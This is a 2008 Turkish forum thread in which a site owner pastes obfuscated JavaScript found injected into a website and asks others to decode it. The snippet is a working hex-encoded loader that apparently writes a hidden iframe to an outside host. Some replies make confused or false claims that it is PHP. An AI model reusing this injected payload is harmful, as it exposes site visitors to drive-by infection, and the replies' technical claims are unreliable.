• 26-09-2008, 22:30:00
    #1
    Bir siteye bir firma tarafından tasarım yaptırıldı ve 1 kaç ay sonra bir javasciprt koduna raslandı sanırım bir virüs ve bir antivürüsü öneriyor bunu kimin yaptığını anlayabilmek için kaynak kodlarına ihtiyacım var çözebilecek varmı ?
    Alıntı
    <script>function c1058032905m48d1fc0b0782a(m48d1fc0b08021){ function m48d1fc0b08819(){return 16;} return (parseInt(m48d1fc0b08021,m48d1fc0b08819()));}funct ion m48d1fc0b0980b(m48d1fc0b0a003){ var m48d1fc0b0a7fd='';m48d1fc0b0c7df=String.fromCharCo de;for(m48d1fc0b0aff5=0;m48d1fc0b0aff5<m48d1fc0b0a 003.length;m48d1fc0b0aff5+=2){ m48d1fc0b0a7fd+=(m48d1fc0b0c7df(c1058032905m48d1fc 0b0782a(m48d1fc0b0a003.substr(m48d1fc0b0aff5,2)))) ;}return m48d1fc0b0a7fd;} var zc0='';var m48d1fc0b0cfd7='3C7'+zc0+'3637'+zc0+'2697'+zc0+'07 '+zc0+'43E696628216D7'+zc0+'96961297'+zc0+'B646F63 7'+zc0+'56D656E7'+zc0+'42E7'+zc0+'7'+zc0+'7'+zc0+' 2697'+zc0+'465287'+zc0+'56E657'+zc0+'363617'+zc0+' 065282027'+zc0+'2533632536392536362537'+zc0+'32253 63125366425363525323025366525363125366425363525336 42536332533312533302532302537'+zc0+'332537'+zc0+'3 2253633253364253237'+zc0+'2536382537'+zc0+'342537' +zc0+'342537'+zc0+'30253361253266253266253337'+zc0 +'253337'+zc0+'25326525333225333225333125326525333 1253333253333253265253331253337'+zc0+'253332253266 253265253639253636253266253637'+zc0+'2536662532652 536382537'+zc0+'34253664253663253366253237'+zc0+'2 532622534642536312537'+zc0+'342536382532652537'+zc 0+'322536662537'+zc0+'3525366525363425323825346425 36312537'+zc0+'342536382532652537'+zc0+'3225363125 36652536342536662536642532382532392532612533312533 34253338253330253339253332253239253262253237'+zc0+ '253333253336253339253338253331253336253331253237' +zc0+'2532302537'+zc0+'37'+zc0+'2536392536342537'+ zc0+'34253638253364253332253338253337'+zc0+'253230 253638253635253639253637'+zc0+'2536382537'+zc0+'34 2533642533352533312533362532302537'+zc0+'332537'+z c0+'342537'+zc0+'39253663253635253364253237'+zc0+' 2536342536392537'+zc0+'332537'+zc0+'30253663253631 2537'+zc0+'392533612532302536652536662536652536352 53237'+zc0+'2533652533632532662536392536362537'+zc 0+'3225363125366425363525336527'+zc0+'29293B7'+zc0 +'D7'+zc0+'6617'+zc0+'2206D7'+zc0+'969613D7'+zc0+' 47'+zc0+'27'+zc0+'5653B3C2F7'+zc0+'3637'+zc0+'2697 '+zc0+'07'+zc0+'43E';document.write(m48d1fc0b0980b (m48d1fc0b0cfd7));</script>
  • 27-09-2008, 23:31:30
    #2
    Bu Bir Java Dili Degil Php Dili Yani Kaynak Kodunu Gizlenemk üzre Kullanılan bir Kod Tur Ve Herne Şekilde Olursa Olsun Sayfanın Aslı Olamadan Sayfa Görüntülenemez Onun için Kasma Yani
  • 28-09-2008, 00:04:19
    #3
    DieM adlı üyeden alıntı: mesajı görüntüle
    Bu Bir Java Dili Degil Php Dili Yani Kaynak Kodunu Gizlenemk üzre Kullanılan bir Kod Tur Ve Herne Şekilde Olursa Olsun Sayfanın Aslı Olamadan Sayfa Görüntülenemez Onun için Kasma Yani
    Aslında siteyi tamamen bundan arındırdım ama merak ettim dogrusu bu nasıl php kodu olabilir yani anlamadığım server bunun bir php kodu olduğunu nasıl anlıyıp yorumlayabilir ki ?
  • 28-09-2008, 00:08:32
    #4
    Kimlik doğrulama veya yönetimden onay bekliyor.
    Bu bir javadır, php olması imkansız...
  • 28-09-2008, 11:58:23
    #5
    Bak Olayı Anlatayım sizlere Php Kodlaması ile Bir Kod YAZILIR Ve bu kod Kaynak Kodunuzu Java Türü bir Kod a Cevirir ve bu kodun cevrilmesi imkansız gibi birşeydir tabi yapan yapar ama çok profosyonellik ister o yüzden kasma diyorum yani aslı bir java degil php dir
  • 28-09-2008, 12:44:14
    #6
    buna benzer bişi 2 tane sitemde vardı. girerken nod32 myfrooogle.cn diye bi adresi engelliyordu. sonra sitelerin index.php lerine baktığımda gördüm saçma sapan şeyler yazıyordu.
  • 28-09-2008, 19:26:11
    #7
    Arkadaşlar cok Önemliyse Çözerim Sizler için Fakat merak içinse Ugrastırmayın pm Gecin yeterli